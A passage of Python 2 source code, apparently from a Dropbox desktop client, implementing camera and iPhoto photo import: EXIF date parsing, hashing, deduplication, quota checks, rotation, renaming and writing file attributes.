'client_import_time'\nXATTR_CLIENT_PLATFORM = 'client_platform'\nXATTR_CLIENT_BUILDSTRING = 'client_buildstring'\nXATTR_CLIENT_USERID = 'client_userid'\nXATTR_CLIENT_TIMEOFFSET = 'client_timeoffset'\nXATTR_FILE_DATETIME = 'file_datetime'\nXATTR_FILE_MTIME = 'file_mtime'\nXATTR_FILE_HASHFULL = 'file_hashfull'\nXATTR_FILE_NAMEORIG = 'file_nameorig'\nCAMERA_XATTRS = [XATTR_EXIF_MANUFACTURER,\n XATTR_EXIF_MODEL,\n XATTR_EXIF_DATETIME,\n XATTR_DEVICE_MANUFACTURER,\n XATTR_DEVICE_MODEL,\n XATTR_DEVICE_NAME,\n XATTR_DEVICE_UID,\n XATTR_DEVICE_SERIALNUM,\n XATTR_CLIENT_IMPORT_TIME,\n XATTR_CLIENT_PLATFORM,\n XATTR_CLIENT_BUILDSTRING,\n XATTR_CLIENT_USERID,\n XATTR_CLIENT_TIMEOFFSET,\n XATTR_FILE_DATETIME,\n XATTR_FILE_MTIME,\n XATTR_FILE_HASHFULL]\nCAMERA_XATTRS_PLAT = 'dropbox_camera_upload'\nXATTR_COLLECTION_GIDS = 'collection_gids'\nCOLLECTION_XATTRS_PLAT = 'dropbox_collection_gid'\nPHOTOIMPORT_EXCEPTIONS_RERAISE = (PhotoImportExceptionBase, LowDiskSpaceError)\nEXIF_IMAGE_ORIENTATION = 'Image Orientation'\nEXIF_IMAGE_MAKE = 'Image Make'\nEXIF_IMAGE_MODEL = 'Image Model'\nEXIF_LENGTH = 'EXIF ExifImageLength'\nEXIF_WIDTH = 'EXIF ExifImageWidth'\nEXIF_THUMBNAIL = 'Thumbnail Compression'\nEXIF_THUMBNAIL_OFFSET = 'Thumbnail JPEGInterchangeFormat'\nEXIF_THUMBNAIL_ORIENTATION = 'Thumbnail Orientation'\nEXIF_JPEG_THUMBNAIL = 'JPEGThumbnail'\nEXIF_TIFF_THUMBNAIL = 'TIFFThumbnail'\nEXIF_DATETIME = 'EXIF DateTimeOriginal'\nEXIF_CUSTOMRENDERED = 'EXIF CustomRendered'\nPHOTO_EXIF_WHITELIST = {'exif': {EXIF_IMAGE_ORIENTATION: {},\n EXIF_IMAGE_MAKE: {},\n EXIF_IMAGE_MODEL: {},\n EXIF_LENGTH: {},\n EXIF_WIDTH: {},\n EXIF_THUMBNAIL: {},\n EXIF_THUMBNAIL_OFFSET: {},\n EXIF_THUMBNAIL_ORIENTATION: {},\n EXIF_JPEG_THUMBNAIL: {},\n EXIF_TIFF_THUMBNAIL: {},\n EXIF_DATETIME: {},\n EXIF_CUSTOMRENDERED: {}}}\nEXIF_TO_CAMERA_ATTR = {EXIF_IMAGE_MAKE: XATTR_EXIF_MANUFACTURER,\n EXIF_IMAGE_MODEL: XATTR_EXIF_MODEL,\n EXIF_DATETIME: XATTR_EXIF_DATETIME}\nDEFAULT_UPLOAD_LOCATION = u'/Camera Uploads'\nEXIF_DATETIME_STRPTIME_FMTS = ['%Y:%m:%d %H:%M:%S', '%Y:%m:%d:%H:%M:%S', '%Y:%m:%d %I:%M:%S %p']\n\ndef parse_exif_datetime(data, strptime_fn):\n normalized_data = data.replace('/', ':').replace('-', ':').replace('.', '')\n for i, pattern in enumerate(EXIF_DATETIME_STRPTIME_FMTS):\n try:\n return strptime_fn(normalized_data, pattern)\n except ValueError:\n if i == len(EXIF_DATETIME_STRPTIME_FMTS) - 1:\n raise\n continue\n\n\ndef _nexus_datetime_from_path(taken_at, path):\n try:\n match = re.search('img_(\\\\d{8}_\\\\d{6})(_\\\\d+)?\\\\.jpg', path.lower())\n if match:\n fname_datetime = datetime.datetime.strptime(match.group(1), '%Y%m%d_%H%M%S')\n delta = fname_datetime - taken_at\n if abs(delta) > datetime.timedelta(seconds=60):\n taken_at = fname_datetime\n except ValueError:\n pass\n except Exception:\n unhandled_exc_handler()\n\n return taken_at.strftime('%Y:%m:%d %H:%M:%S')\n\n\ndef _motorola_datetime_from_path(taken_at, path):\n try:\n match = re.search('(\\\\d{4}).(\\\\d{2}).(\\\\d{2}).(\\\\d{2}).(\\\\d{2}).(\\\\d{2})(_\\\\d+)?\\\\.jpg', path.lower())\n if match:\n fname_datetime = datetime.datetime(*map(int, match.group(1, 2, 3, 4, 5, 6)))\n delta = fname_datetime - taken_at\n if abs(delta) > datetime.timedelta(seconds=60):\n taken_at = fname_datetime\n except ValueError:\n pass\n except Exception:\n unhandled_exc_handler()\n\n return taken_at.strftime('%Y:%m:%d %H:%M:%S')\n\n\ndef update_device_specific_deets(details):\n exif_data = details.exif\n if EXIF_DATETIME in exif_data:\n try:\n taken_at = parse_exif_datetime(exif_data[EXIF_DATETIME], datetime.datetime.strptime)\n if (exif_data.get('Image Make', '').lower(), exif_data.get('Image Model', '').lower()) in (('lge', 'nexus 4'), ('samsung', 'galaxy nexus')):\n exif_data[EXIF_DATETIME] = _nexus_datetime_from_path(taken_at, details.f_name)\n elif exif_data.get('Image Make', '').lower() == 'motorola':\n exif_data[EXIF_DATETIME] = _motorola_datetime_from_path(taken_at, details.f_name)\n except ValueError:\n TRACE('Unable to parse %r into datetime.', exif_data[EXIF_DATETIME])\n except Exception:\n unhandled_exc_handler()\n\n\nclass PhotoDetails(object):\n __use_advanced_allocator__ = 1048576\n __slots__ = ('blocklist', 'size', 'mtime', 'path', 'cu_hash_8', 'cu_hash_full', 'exif', 'f_obj', 'f_name', 'f_basename', 'f_ext', 'f_time', 'photo_name', 'photo_time', 'member_of_albums', 'rotation_result')\n\n def __init__(self, f_obj):\n self.mtime = time.time()\n self.f_obj = f_obj\n self.f_time = f_obj.time()\n self.size = f_obj.size()\n self.f_name = f_obj.name()\n self.f_basename, self.f_ext = split_extension(self.f_name)\n self.member_of_albums = None\n\n def __repr__(self):\n return easy_repr(self, 'f_obj', 'f_time', 'size', 'f_name')\n\n\nOUT_OF_QUOTA = 'out of quota'\nOUT_OF_DISK_SPACE = 'out of disk space'\nNOT_OUT_OF_SPACE = 'not out of space'\nMAYBE_OUT_OF_SPACE = 'maybe out of space'\n\nclass PhotoImporter(threading.Thread):\n STARTING, SCANNING, TRANSFERRING, DONE = range(4)\n N = 0\n lock = NonRecursiveLock()\n\n def __init__(self, device, uploader, app):\n with PhotoImporter.lock:\n thread_name = 'CAMERAIMPORTER-%d' % PhotoImporter.N\n PhotoImporter.N += 1\n self.importer_id = PhotoImporter.N\n super(PhotoImporter, self).__init__(name=thread_name)\n self.device = device\n self.uploader = uploader\n self.photodb = self.uploader.photodb\n self.app = app\n self.fs = self.app.sync_engine.fs\n self.state = Observable(self.STARTING, handle_exc=unhandled_exc_handler)\n self.total_bytes = Observable(0, handle_exc=unhandled_exc_handler)\n self.cur_bytes = Observable(0, handle_exc=unhandled_exc_handler)\n self.transferred_files = Observable([], handle_exc=unhandled_exc_handler)\n self.error = Observable(None, handle_exc=unhandled_exc_handler)\n self.found_files = Observable(0, handle_exc=unhandled_exc_handler)\n self.remaining_files = set([])\n self.skipped_files = []\n self._cancel = False\n self._disconnected = False\n self._event = AutoResetEvent()\n self.has_imported = False\n self.cu_hashes_full = set()\n self._show_finding_progress = False\n self._dest_path_verified = False\n self._files_to_read = None\n\n def _prep_for_file_read(self):\n pass\n\n def cancel(self):\n self._cancel = True\n self._event.set()\n return False\n\n def disconnected(self):\n self._disconnected = True\n self._event.set()\n return False\n\n def device_ready(self):\n self._event.set()\n\n def check_cancel(self, timeout = 0):\n self._event.wait(timeout=timeout)\n if self._cancel:\n raise PhotoImportCanceled()\n if self._disconnected:\n raise PhotoImportDisconnected()\n\n def _get_dest_path_sp(self):\n return ServerPath.from_ns_rel(self.app.sync_engine.main_root_ns, self.uploader.location or DEFAULT_UPLOAD_LOCATION)\n\n def run(self):\n try:\n if self.app.quota < self.app.in_use:\n raise PhotoImportLowDropboxSpace()\n self.state.set(self.STARTING)\n if not self.app.sync_engine.check_if_initial_list_is_done():\n ev = threading.Event()\n if not self.app.sync_engine.check_if_initial_list_is_done(ev.set):\n ev.wait()\n status = self.app.sync_engine.status\n while not status.try_set_status_label('importing', True, fail_if_set=['moving']):\n TRACE('Currently moving Dropbox folder, import thread is sleeping. Status: %r', status.get_status())\n self.check_cancel(1)\n\n wait_for_list_results_thunk = self.uploader.demand_freshness()\n try:\n while not self.device.ready:\n if not self._show_finding_progress and self.device.percent != 100 and self.device.percent < 40:\n self._show_finding_progress = True\n self.total_bytes.set(100)\n if self._show_finding_progress:\n self.cur_bytes.set(self.device.percent)\n TRACE('Device is still connecting.')\n self.check_cancel(1)\n\n self._prep_for_file_read()\n sync_engine = self.app.sync_engine\n self.dest_path_sp = self._get_dest_path_sp()\n self.dest_path = sync_engine.server_to_local(self.dest_path_sp)\n self.cache_path = sync_engine.verify_cache_path()\n self.sel_sync = sync_engine._ignore_set_should_ignore(self.dest_path_sp)\n self.import_time = time.time()\n self.device_attr_dict = self._create_device_attr_dict(self.device)\n with self.device.files() as files:\n\n def update_found_files(num_found):\n self.found_files.set(num_found)\n if num_found % 50 == 0:\n self.check_cancel()\n\n files_observed = ObservableIterator(files, handle_exc=reraise_exc_handler)\n files_observed.register(update_found_files)\n if wait_for_list_results_thunk:\n wait_for_list_results_thunk()\n wait_for_list_results_thunk = None\n self._files_to_read = self._filter_device_files((PhotoDetails(f) for f in files_observed))\n if not self._files_to_read:\n return\n available_quota, available_disk_space = self.get_available_space()\n import_space_usage = self.get_import_space_usage(self._files_to_read, available_quota, available_disk_space, num_imported=self.photodb.num_imported())\n self.import_normally = self.can_import_normally(import_space_usage)\n if not self.import_normally:\n self.get_available_space(trace=True)\n self._transfer_files()\n finally:\n status.set_status_label('importing', False)\n TRACE(\"Setting status label 'importing' to false!\")\n\n except Exception as e:\n TRACE('!! Photo import raised exception %r', e)\n if not isinstance(e, PHOTOIMPORT_EXCEPTIONS_RERAISE):\n unhandled_exc_handler()\n if arch.photouploader.is_disconnected_error(e):\n TRACE('Exception seems to be the result of a device disconnection. Not bubbling import error.')\n else:\n self.error.set(e)\n else:\n self.error.set(None)\n finally:\n self.state.set(self.DONE)\n self.device.release()\n\n @staticmethod\n def _filter_seen_photos(device_files, seen_photos):\n if not seen_photos:\n return (list(device_files), [], [])\n TRACE('%d photos have been imported from this device before. Pruning.', len(seen_photos))\n entries_seen = []\n new_files = []\n for details in device_files:\n photo = (details.f_name, details.f_time)\n if details.f_time is not None and photo in seen_photos:\n seen_photos.remove(photo)\n entries_seen.append(details)\n else:\n new_files.append(details)\n\n return (new_files, list(seen_photos), entries_seen)\n\n @contextmanager\n def _handle_photo_exceptions(self):\n try:\n yield\n except PHOTOIMPORT_EXCEPTIONS_RERAISE:\n raise\n except (IOError, OSError) as e:\n if e.errno == errno.ENOSPC:\n raise LowDiskSpaceError(0, 0)\n self.device.handle_disconnect_exceptions(e)\n unhandled_exc_handler()\n except Exception as e:\n self.device.handle_disconnect_exceptions(e)\n unhandled_exc_handler()\n\n @staticmethod\n def update_photo_name_and_time(details, default = None):\n try:\n st_time = parse_exif_datetime(details.exif.get(EXIF_DATETIME, ''), time.strptime)\n details.photo_name = time.strftime(u'%Y-%m-%d %H.%M.%S', st_time)\n details.photo_time = time.mktime(st_time)\n except Exception:\n TRACE('Failed to rename photo by EXIF time, falling back to default!')\n st_time = details.f_time.timetuple() if details.f_time else time.localtime(default)\n details.photo_name = time.strftime(u'%Y-%m-%d %H.%M.%S', st_time)\n details.photo_time = time.mktime(st_time)\n\n def update_photo_details(self, details):\n with self.fs.open(details.path, 'r') as tmp:\n details.exif = get_metadata_for_plat('exif', tmp, PHOTO_EXIF_WHITELIST).get('exif', {})\n update_device_specific_deets(details)\n self.update_photo_name_and_time(details, default=self.import_time)\n if 'HDR' in details.exif.get(EXIF_CUSTOMRENDERED, ''):\n details.photo_name += u' HDR'\n\n def _filter_device_files(self, device_files):\n TRACE('Looking for previously imported files from this device.')\n files, entries_to_remove, self.skipped_files = self._filter_seen_photos(device_files, self.photodb.get_seen_photos(self.device.uid))\n if (files or self.skipped_files) and entries_to_remove:\n TRACE('Pruning %d entries from the database.', len(entries_to_remove))\n self.photodb.del_seen_photos(self.device.uid, entries_to_remove)\n TRACE('Found and processing %r new files from device! (%r seen photos skipped, %r seen photos removed)', len(files), len(self.skipped_files), len(entries_to_remove))\n found_nothing = not files and not self.skipped_files\n if arch.constants.platform == 'win' and is_apple_device(self.device) and found_nothing:\n raise PhotoImportDeviceLocked()\n if self.device.locked and found_nothing:\n raise PhotoImportDeviceLocked()\n TRACE('%r potentially new files will be read from device!', len(files))\n return files\n\n def _transfer_files(self):\n files = self._files_to_read\n self.total_bytes.set(sum((deet.size for deet in files)))\n self.has_imported = self._has_imported_before()\n self.remaining_files = set(files)\n self.state.set(self.SCANNING)\n cache = self.cache_path.join(datetime.date.today().strftime('camera-import-%Y-%m-%d'), str(self.importer_id))\n retries = [0]\n pending_files = collections.deque()\n by_timestamp = []\n self.pending_size_in_cache = 0\n\n def progress(n):\n self.cur_bytes.set(self.cur_bytes.get() + n)\n\n self.app.safe_makedirs(unicode(cache))\n try:\n for i, details in enumerate(files):\n with self._handle_photo_exceptions():\n self.check_cancel()\n self.app.sync_engine.verify_disk_space(cache, details.size)\n bytes_read = self._read_and_hash(details, cache, retries, self.check_cancel, progress)\n if bytes_read == 0:\n TRACE('Skipping 0 byte file %r', details)\n self.skipped_files.append(details)\n self.remaining_files.remove(details)\n continue\n self.update_photo_details(details)\n if self._handle_existing_hashes(details, files, i):\n continue\n if self.sel_sync:\n raise PhotoImportSelectiveSync(self.dest_path_sp)\n if self._end_photo_group(pending_files, details):\n self._maybe_write_photos(pending_files, by_timestamp)\n pending_files.clear()\n pending_files.append(details)\n\n if pending_files:\n with self._handle_photo_exceptions():\n self._maybe_write_photos(pending_files, by_timestamp)\n pending_files.clear()\n except (LowDiskSpaceError, PhotoImportLowDropboxSpace, PhotoImportSelectiveSync):\n raise\n except Exception:\n self.complete_maybe_import(by_timestamp)\n raise\n else:\n self.complete_maybe_import(by_timestamp)\n finally:\n try:\n fsutil.rmtree(self.fs, cache, ignore_errors=True)\n except Exception:\n unhandled_exc_handler()\n\n def _end_photo_group(self, pending_files, curr_deets):\n return pending_files and pending_files[0].photo_name != curr_deets.photo_name\n\n def complete_maybe_import(self, by_timestamp):\n if not self.import_normally:\n for by_basename in by_timestamp:\n with self._handle_photo_exceptions():\n self.check_space(sum((deet.size for f_basename, deet_list in by_basename for deet in deet_list)))\n self._rename_photos(by_basename)\n\n def _read_and_hash(self, details, dest_dir, retries, check_cancel, progress_cb):\n dest = None\n bytes_read = 0\n assert struct.calcsize('I') == 4\n mask = 2 ** (8 * struct.calcsize('I')) - 1\n try:\n with details.f_obj.open(self.fs, dest_dir) as read:\n cu_hash_full = md5()\n cu_hash_8 = md5()\n cu_hash_8_left = CU_HASH_8_BYTES\n fail_fast = getattr(details.f_obj, 'fail_fast', False)\n needs_write = getattr(details.f_obj, 'needs_write', True)\n cu_hash_8.update(struct.pack('>I', details.size & mask))\n while True:\n check_cancel()\n try:\n buf = read(DROPBOX_MAX_BLOCK_SIZE)\n except Exception:\n retries[0] += 1\n if retries[0] >= NUM_READ_RETRIES or fail_fast:\n raise\n check_cancel(1)\n try:\n buf = read(DROPBOX_MAX_BLOCK_SIZE)\n except Exception:\n raise\n else:\n retries[0] = 0\n\n else:\n retries[0] = 0\n\n if not buf:\n break\n l_buf = len(buf)\n progress_cb(l_buf)\n bytes_read += l_buf\n if needs_write:\n if dest is None:\n dest = fsutil.mkstemp(self.fs, suffix=details.f_ext, dir=dest_dir)\n details.path = self.fs.make_path(dest.name)\n dest.write(buf)\n size = len(buf)\n cu_hash_full.update(buf)\n if cu_hash_8_left:\n m_8 = min(cu_hash_8_left, size)\n cu_hash_8.update(buffer(buf, 0, m_8))\n cu_hash_8_left -= m_8\n\n if not needs_write:\n details.path = self.fs.make_path(details.f_obj.path)\n finally:\n if dest:\n dest.close()\n\n details.cu_hash_8 = cu_hash_8.hexdigest()\n details.cu_hash_full = cu_hash_full.hexdigest()\n if bytes_read != details.size:\n report_bad_assumption(\"Bytes read don't match details\")\n return bytes_read\n\n def get_import_space_usage(self, *args, **kwargs):\n return self.import_space_usage(*args, **kwargs)\n\n @staticmethod\n def import_space_usage(files, available_quota, available_disk, num_imported):\n max_import_size = sum((f.size for f in files))\n min_import_size = sum((f.size for f in sorted(files, key=operator.attrgetter('size'))[:-num_imported])) if num_imported else max_import_size\n TRACE('Determining if importing normally: max import size: %r, num imported: %r, min import size: %r', max_import_size, num_imported, min_import_size)\n if available_quota >= max_import_size and available_disk >= max_import_size:\n return NOT_OUT_OF_SPACE\n if available_quota < min_import_size:\n return OUT_OF_QUOTA\n if available_disk < min_import_size:\n return OUT_OF_DISK_SPACE\n return MAYBE_OUT_OF_SPACE\n\n def can_import_normally(self, import_space_usage):\n if import_space_usage == NOT_OUT_OF_SPACE:\n TRACE('Definitely not going over quota. Importing normally.')\n return True\n if import_space_usage == OUT_OF_QUOTA:\n raise PhotoImportLowDropboxSpace()\n elif import_space_usage == OUT_OF_DISK_SPACE:\n raise LowDiskSpaceError(0, 0)\n elif import_space_usage == MAYBE_OUT_OF_SPACE:\n TRACE(\"!! May go over quota, can't import normally. Importing into the cache temporarily!\")\n return False\n\n def get_available_space(self, pending_size_in_cache = 0, trace = False):\n quota = self.app.quota\n unearned = self.uploader.cu_quota_unearned\n in_use = self.app.in_use\n pending_size = self.photodb.get_pending_size() + pending_size_in_cache\n if pending_size < 0:\n report_bad_assumption('In get_available_space, pending size is negative! photodb.pending: %r, pending_in_cache: %r', self.photodb.get_pending_size(), pending_size_in_cache)\n quota_remaining = quota + unearned - in_use - pending_size - IMPORT_FREE_SPACE_BUFFER\n free_disk_space = self.fs.get_disk_free_space(self.app.config['dropbox_path'])\n disk_space_remaining = free_disk_space - IMPORT_FREE_SPACE_BUFFER\n if trace:\n pending = self.photodb.pending()\n TRACE('quota(%s) + unearned(%s) - in_use(%s) - pending(%s (%s)) - buffer(%s) = %s', quota, unearned, in_use, pending_size, len(pending), IMPORT_FREE_SPACE_BUFFER, quota_remaining)\n TRACE('free disk space(%s) - buffer(%s) = %s', free_disk_space, IMPORT_FREE_SPACE_BUFFER, disk_space_remaining)\n TRACE('Pending = %s', pprint.pformat(pending))\n return (quota_remaining, disk_space_remaining)\n\n def check_space(self, size, pending_size_in_cache = 0):\n avail_quota, avail_disk = self.get_available_space(pending_size_in_cache)\n if avail_quota < size:\n self.get_available_space(pending_size_in_cache, trace=True)\n raise PhotoImportLowDropboxSpace()\n if avail_disk < size:\n self.get_available_space(pending_size_in_cache, trace=True)\n raise LowDiskSpaceError(0, 0)\n\n def generate_path_from_deets(self, details, n):\n fn = u'%s%s%s' % (details.photo_name, u'-%d' % n if n else u'', details.f_ext.lower())\n return self.dest_path.join(fn)\n\n def _handle_dup(self, details):\n self.skipped_files.append(details)\n self.remaining_files.remove(details)\n fsutil.safe_remove(self.fs, details.path)\n if details.f_time:\n self.uploader.add_seen_photos(self.device.uid, ((details.f_name, details.f_time),))\n\n def _handle_existing_hashes(self, details, files, cur_index):\n is_dup = False\n if details.cu_hash_full in self.cu_hashes_full or self.uploader.exists(details.cu_hash_full):\n is_dup = True\n TRACE('Photo %r, cu_hash_full %r exists in our photo database already! Not importing', details.f_name, details.cu_hash_full)\n self._handle_dup(details)\n else:\n self.cu_hashes_full.add(details.cu_hash_full)\n self._rotate_and_hash(details)\n return is_dup\n\n def _maybe_write_photos(self, files, by_timestamp):\n try:\n self.check_cancel()\n size = sum((deets.size for deets in files))\n self.check_space(size, self.pending_size_in_cache)\n details_by_f_basename = collections.defaultdict(list)\n for details in files:\n details_by_f_basename[details.f_basename].append(details)\n\n by_basename = sorted(details_by_f_basename.iteritems())\n if self.import_normally:\n self._rename_photos(by_basename)\n else:\n by_timestamp.append(by_basename)\n self.pending_size_in_cache += size\n except PHOTOIMPORT_EXCEPTIONS_RERAISE:\n raise\n except Exception:\n unhandled_exc_handler()\n\n def _rename_photos(self, ordered_by_f_basename):\n self._verify_dest_path(ordered_by_f_basename)\n suffix = 0 if len(ordered_by_f_basename) == 1 else 1\n to_add_seen = []\n for f_name, details_list in ordered_by_f_basename:\n self.state.set(self.TRANSFERRING)\n self.check_cancel()\n for n in itertools.count(suffix):\n paths = [ self.generate_path_from_deets(details, n) for details in details_list ]\n if any((fsutil.is_exists(self.fs, path) for path in paths)):\n continue\n else:\n break\n else:\n raise Exception('Too many files with the same name')\n\n suffix = n + 1\n for path, details in itertools.izip(paths, details_list):\n details.photo_time += n * 0.001\n try:\n self._write_photo_to_path(details, path)\n except Exception:\n unhandled_exc_handler()\n continue\n\n if not self.uploader.exists(details.cu_hash_full):\n self.uploader.add_photo(details)\n self.transferred_files.append(details)\n self.remaining_files.remove(details)\n if details.f_time:\n to_add_seen.append((details.f_name, details.f_time))\n TRACE('Downloaded image to %r, blocklist %r', path, details.blocklist)\n\n if to_add_seen:\n self.uploader.add_seen_photos(self.device.uid, to_add_seen)\n\n def _has_imported_before(self):\n return self.photodb.has_imported()\n\n def _verify_dest_path(self, file_deets_pairs = None, force = False):\n if self._dest_path_verified and not force:\n return\n dirs_created = []\n fsutil.makedirs(self.fs, self.dest_path, dirs_created)\n if dirs_created:\n try:\n self.app.sync_engine._retag_special_folders()\n except Exception:\n unhandled_exc_handler()\n\n else:\n self.has_imported = self.has_imported or self._has_imported_before()\n if not self.has_imported:\n reason = trans(u'Old')\n self.app.sync_engine._resolve_conflict(self.dest_path, self.dest_path.basename, reason)\n fsutil.makedirs(self.fs, self.dest_path)\n self.has_imported = True\n self._dest_path_verified = True\n\n def _rotate_and_hash(self, details):\n exif_attrs = details.exif\n\n def on_success(path):\n if self.uploader.rotation_type == self.uploader.ROTATION_TYPE_V1:\n path = self.fs.make_path(path)\n old_path = details.path\n new_temp = details.path.append(u'.rot')\n self.fs.rename(path, new_temp)\n details.path = new_temp\n fsutil.safe_remove(self.fs, old_path)\n\n event_result = try_rotate_image_file(unicode(details.path), ext=details.f_ext, exif_attrs=exif_attrs, on_error=unhandled_exc_handler, on_success=on_success, cache_dir=unicode(self.cache_path))\n TRACE('Rotation event result: %r rotation type: %r', event_result, self.uploader.rotation_type)\n details.rotation_result = event_result\n dbhash = BetterDropboxHasher()\n with self.fs.open(details.path, sequential=True) as f:\n while True:\n s = f.read(DROPBOX_MAX_BLOCK_SIZE)\n if s == '':\n break\n dbhash.update(s)\n\n details.blocklist = dbhash.digest()\n\n def _write_photo_to_path(self, details, newpath):\n self.fs.rename(details.path, newpath)\n details.path = newpath\n try:\n self._write_attrs(details)\n except Exception:\n unhandled_exc_handler()\n\n exif_attrs = details.exif\n try:\n self.report_camera_event('photo-rotate', self.device, result=details.rotation_result, length=exif_attrs.get(EXIF_LENGTH, ''), width=exif_attrs.get(EXIF_WIDTH, ''), orientation=exif_attrs.get(EXIF_IMAGE_ORIENTATION, ''), thumbnail=EXIF_THUMBNAIL in exif_attrs, rotation_type=self.uploader.rotation_type)\n except Exception:\n unhandled_exc_handler()\n\n try:\n self.fs.set_file_mtime(details.path, details.photo_time)\n except Exception:\n unhandled_exc_handler()\n\n def _write_attrs(self, details):\n camera_import_attrs = self._create_import_attrs(details)\n self.app.sync_engine.attr_handler.write_attributes(camera_import_attrs, None, details.path)\n\n def _create_device_attr_dict(self, device):\n attr_dict = {}\n for xattr in CAMERA_XATTRS:\n if xattr.startswith('device'):\n try:\n device_attr_name = xattr.split('_')[1]\n except Exception:\n TRACE('!!Camera xattr name %r not formatted properly! Expected device_[propertyname]', xattr)\n unhandled_exc_handler()\n else:\n device_attr = getattr(self.device, device_attr_name, None)\n if device_attr:\n if not isinstance(device_attr, str):\n device_attr = device_attr.encode('utf8')\n attr_dict[xattr] = device_attr\n\n plat_string = arch.util.get_platform_info()\n plat_string = plat_string[0] + ' ' + plat_string[3]\n import_attr_dict = {XATTR_CLIENT_IMPORT_TIME: str(int(self.import_time * 1000)),\n XATTR_CLIENT_TIMEOFFSET: tz_offset_string(datetime.datetime.now()),\n XATTR_CLIENT_PLATFORM: plat_string,\n XATTR_CLIENT_BUILDSTRING: get_build_number(),\n XATTR_CLIENT_USERID: str(self.app.uid)}\n attr_dict.update(import_attr_dict)\n TRACE('Readable general import attrs: %r', attr_dict)\n return attr_dict\n\n def _get_additional_import_attrs(self, *args, **kwargs):\n return (None, None)\n\n def _create_import_attrs(self, details):\n old_attrs = self.app.sync_engine.attr_handler.read_attributes(details.path)\n old_attrs_dict = unfreeze_attr_dict(old_attrs.attr_dict)\n attr_dict = self._create_file_attr_dict(details)\n TRACE('Readable camera upload file attrs: %r, file: %r', attr_dict, details.path)\n attr_dict.update(self.device_attr_dict)\n attr_dict = attr_dict_from_whitelist(attr_dict, CAMERA_XATTRS_PLAT)\n formatted = old_attrs_dict\n formatted.update(dict([(CAMERA_XATTRS_PLAT, attr_dict)]))\n additional_plats, additional_attrs = self._get_additional_import_attrs(details, old_attrs_dict)\n if additional_attrs:\n formatted.update(additional_attrs)\n new_data_plats = set(old_attrs.data_plats)\n new_data_plats.add(CAMERA_XATTRS_PLAT)\n if additional_plats:\n new_data_plats.add(additional_plats)\n attrs = Attributes(attr_dict=formatted, data_plats=new_data_plats)\n TRACE('Encoded attrs: %r', attrs)\n return attrs\n\n def _create_file_attr_dict(self, details):\n ret = {}\n for exif_attr_name, attr in details.exif.items():\n if exif_attr_name in EXIF_TO_CAMERA_ATTR:\n ret[EXIF_TO_CAMERA_ATTR[exif_attr_name]] = attr\n\n manufacturer = ret.get(XATTR_EXIF_MANUFACTURER, None)\n model = ret.get(XATTR_EXIF_MODEL, None)\n if manufacturer and model:\n manufacturer = manufacturer.split()[0]\n if model.startswith(manufacturer):\n model = model[len(manufacturer):].strip()\n ret[XATTR_EXIF_MANUFACTURER] = manufacturer\n ret[XATTR_EXIF_MODEL] = model\n if details.photo_time:\n try:\n photo_time = datetime.datetime.fromtimestamp(details.photo_time)\n _datetime = photo_time.strftime('%Y:%m:%d %H:%M:%S')\n if photo_time.microsecond:\n _datetime += '.%.3d' % (photo_time.microsecond / 1000)\n except Exception:\n unhandled_exc_handler()\n else:\n ret[XATTR_FILE_DATETIME] = _datetime\n\n ret[XATTR_FILE_HASHFULL] = details.cu_hash_full\n try:\n basename = self.app.sync_engine.arch.make_path(unicode(details.f_name)).basename\n except Exception:\n basename = unicode(details.f_name)\n\n ret[XATTR_FILE_NAMEORIG] = safe_str(basename)\n return ret\n\n\ndef get_albums_by_photo_dict(albums_list):\n by_photo_id = collections.defaultdict(list)\n for album in albums_list:\n for photo_id in album.photos_list:\n by_photo_id[photo_id].append(album)\n\n return by_photo_id\n\n\nclass PhotoGalleryImporter(PhotoImporter):\n ALBUM_BATCH_SIZE = 250\n\n def __init__(self, *args, **kwargs):\n self.check_space_callback = kwargs.pop('check_space_callback')\n self.import_albums = kwargs.pop('import_albums')\n self.create_event_subdirs = kwargs.pop('create_subdirs')\n super(PhotoGalleryImporter, self).__init__(*args, **kwargs)\n self.albums_by_photo = {}\n self.event_dirname_by_id = {}\n\n def _get_additional_import_attrs(self, details, old_attrs):\n if details.member_of_albums:\n existing_albums = []\n try:\n try:\n attr = old_attrs[COLLECTION_XATTRS_PLAT][XATTR_COLLECTION_GIDS]\n except KeyError:\n pass\n else:\n existing_albums = json.loads(get_attr_data(attr))\n\n except Exception:\n unhandled_exc_handler()\n\n albums = [ album.server_collection_gid for album in details.member_of_albums ]\n albums += existing_albums\n attr_dict = dict([(XATTR_COLLECTION_GIDS, json.dumps(albums))])\n TRACE('IPHOTOIMPORT: Album membership file attrs: %r', attr_dict)\n attr_dict = attr_dict_from_whitelist(attr_dict, COLLECTION_XATTRS_PLAT)\n return (COLLECTION_XATTRS_PLAT, dict([(COLLECTION_XATTRS_PLAT, attr_dict)]))\n return (None, None)\n\n def _get_dest_path_sp(self):\n default_location = '/' + trans(u'Photos from iPhoto')\n return ServerPath.from_ns_rel(self.app.sync_engine.main_root_ns, default_location)\n\n def _has_imported_before(self):\n return self.photodb.get_device_last_import(self.device.uid) is not None\n\n def update_photo_details(self, details):\n super(PhotoGalleryImporter, self).update_photo_details(details)\n details.member_of_albums = self.albums_by_photo.get(details.f_obj.id)\n\n @staticmethod\n def update_photo_name_and_time(details, default = None):\n try:\n st_time = details.f_obj.iphoto_time()\n if st_time is None:\n st_time = parse_exif_datetime(details.exif.get(EXIF_DATETIME, ''), time.strptime)\n details.photo_name = time.strftime(u'%Y-%m-%d %H.%M.%S', st_time)\n details.photo_time = time.mktime(st_time)\n except Exception:\n TRACE('Failed to rename photo by EXIF or iPhoto time, falling back to default!')\n st_time = details.f_time.timetuple() if details.f_time else time.localtime(default)\n details.photo_name = time.strftime(u'%Y-%m-%d %H.%M.%S', st_time)\n details.photo_time = time.mktime(st_time)\n\n def _prep_for_file_read(self):\n if self.create_event_subdirs:\n self.events = self.device.events()\n TRACE('IPHOTOIMPORT: Got %d events', len(self.events))\n if self.import_albums:\n albums = self.device.albums()\n server_gids = []\n if albums:\n albums_list = albums.values()\n server_id_by_iphoto_id = self.photodb.get_iphoto_album_server_cgid_mapping()\n if server_id_by_iphoto_id:\n TRACE('IPHOTOIMPORT: Got saved iPhoto album to server gid mapping! %d collections previously created on server!', len(server_id_by_iphoto_id))\n else:\n TRACE('IPHOTOIMPORT: Creating %d collections on the server!', len(albums))\n for album_batch in batch(albums_list, self.ALBUM_BATCH_SIZE):\n try:\n ret = self.app.conn.create_collections([ album.name for album in album_batch ])\n except Exception as e:\n unhandled_exc_handler()\n if self.app.conn.is_transient_error(e):\n raise PhotoImportNoConnectionError()\n else:\n raise PhotoImportAlbumCreationError()\n else:\n server_gids.extend(ret['collection_gids'])\n 